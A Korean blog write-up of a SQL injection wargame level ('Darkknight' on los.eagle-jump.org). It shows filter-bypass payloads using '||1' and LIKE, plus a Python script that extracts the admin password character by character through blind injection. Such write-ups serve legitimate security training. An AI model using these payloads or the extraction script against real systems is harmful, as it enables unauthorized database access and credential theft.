Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

White Security

Darkknight 문제풀이 본문

Wargame Writeups/los.eagle-jump.org

Darkknight 문제풀이

POSIX 2019. 1. 30. 21:29


los.eagle-jump.org 의 12번째 문제입니다.

pw 와 no 두개의 인자가 존재하는데

pw인자는 싱글쿼트 인젝션이 불가능하니

실제로 인젝션이 가능한 것은

no 인자 하나 뿐이겠군요.


첫번째 쿼리로 admin의 pw 값을

찾아낸 후에 두 번째의 쿼리를 통과하는 것이

문제의 목표입니다.


다만 substr, ascii, 싱글쿼트, 등호는 사용이 불가능하니

substr : mid

ascii : ord

로 바꿔서 우회하거나 instr, like 절 등을 이용하여

pw 와 비교하는 방법을 이용해 볼 수 있는데요.


이 포스트에서는 like를 사용해 우회해 보겠습니다.


https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=-1||1


'||1' 을 대입해 항상 true를 반환하도록 만들었습니다.

https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=-1+or+id+like+"admin"


like 절을 이용해 id를 admin으로 한정해 주니

로그인이 가능했습니다.


이제 pw like ... 을 이용해 

pw값을 추출해 보겠습니다.


from urllib import request, parse
import math, sys

char_list = 'abcdefghijklmnopqrstuvxyz0123456789'

def check_true(response): return (response.find(b'Hello admin') != -1);

def like_query(string):
	url = 'https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no='
	url += parse.quote('-1 || id like "admin" and pw like "' + string + '%"')

	req = request.Request(url)
	req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;')
	req.add_header('user-agent','Mozilla/5.0')
	
	response = None
	
	while response is None:		
		try:
			response = request.urlopen(req)
		except:
			pass

	output = response.read()
	return check_true(output)

pw = ''

while True:
	found = False
	for c in char_list:
		if like_query(pw + c):
			pw += c
			found = True
			sys.stdout.write('\r ' + pw)
			break
	if not found: break

취약점을 기반으로 작성한 파이썬3 스크립트입니다.

like 을 사용한 비교에서 모든 문자와 대응되는 %을

사용하여 한글자씩 알아낼 수 있었습니다.



찾아낸 pw값을 인자에 대입하면

클리어가 가능합니다.




'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글

Giant 문제풀이  (0) 2019.01.31
Bugbear 문제풀이  (0) 2019.01.30
Golem 문제풀이  (0) 2019.01.30
Skeleton 문제풀이  (0) 2019.01.30
Vampire 문제풀이  (0) 2019.01.30
Comments